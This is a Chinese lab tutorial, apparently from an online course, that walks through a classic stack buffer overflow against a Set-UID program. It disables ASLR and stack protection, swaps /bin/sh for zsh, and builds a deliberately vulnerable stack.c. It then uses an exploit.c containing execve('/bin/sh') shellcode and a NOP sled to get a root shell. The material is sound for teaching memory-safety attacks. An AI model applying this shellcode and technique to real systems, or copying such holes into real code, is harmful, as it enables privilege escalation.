文章详细出自实验楼
实验环境
ubuntu Linux
实验前准备:
1.安装一些用于编译C程序的32位软件包
sudo apt-get install -y lib32z1 libc6-dev-i386
sudo apt-get install -y lib32readline-gplv2-dev
2.关闭地址空间随机化
ubuntu和其他一些了Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难。而猜测内存地址是缓冲区溢出攻击的关键,因此本次实验中,我们要使用命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0
3.设置zsh
程序
为了进一步防范缓冲区溢出攻击及其他利用shell程序的攻击,许多shell程序再被调用时自动放弃他们的特权。因此,即使能欺骗一个SET-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash
中实现。
Linux系统中,/bin/sh
实际指向/bin/bash
或/bin/dash
的一个符号链接(软链接)。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash
。下面指令描述如何设置zsh程序:
$sudo su
$cd /bin
$rm sh
$ln -s zsh sh
$exit
4.进入32位Linux环境
$linux32
$/bin/bash
实验过程
一般情况下,缓冲区溢出会造成程序崩溃。在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据时另一个地址,那么程序就会跳转到该数据指定的地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。
一、在/tmp
目录下新建一个stack.c
文件并输入一下内容:
$cd /tmp
$vi stack.c
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
上诉代码会读取一个名为“badfile”的文件,并将文件的内容装入buffer这段缓冲区。
二、编译程序,并设置Set-UID
$sudo su
$gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$chmod u+s stack
$exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用-fno-stack-protector
关闭这种机制。-z execstack
用于允许执行栈。-g
参数是为了使编译后得到的可执行问价能用gbd
调试。
三、攻击程序
在/tmp
目录下新建一个exploit.c文件,输入如下内容:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
汇编代码对应的shellcode c程序为:
#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
对于exploit.c文件中,\x??\x??\x??\x??
处需要添加上shellcode
保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而strcpy(buffer +100,shellcode)
告诉我们shellcode
保存在buffer + 100
的位置。
四、获取shellcode
在内存中中的地址
输入命令:
$gdb stack
$disass main
结果如下:
esp
寄存器保存的即str的起始地址。根据strcpy(buffer +100,shellcode)
计算出shellcode
的地址为0xffffd064 + 0x64 = 0xffffd0c4
将exploit.c文件修改
编译exploit.c程序
$gcc -m32 -o exploit exploit.c
展开攻击:
$./exploit
$./stack
查看是否获取权限成功
whoami
获取权限成功!
1、根据自己理解整个攻击过程为:
首先构造一段个漏洞程序stack.c
造成缓冲区溢出(利用数组越界),然后编写一个攻击脚本exploit.c
,将shellcode的这段代码的地址填入到缓冲区溢出的地址中,使得stack.c
执行后转向去指向shellcode,从而获取权限。
2、Set-UID是Unix系统中的一个重要的安全机制。当一个Set-UID程序运行的时候,它被假设为拥有者的权限。例如,如果程序的拥有者是root,那么任何人运行这个程序时都会获得程序拥有者的权限。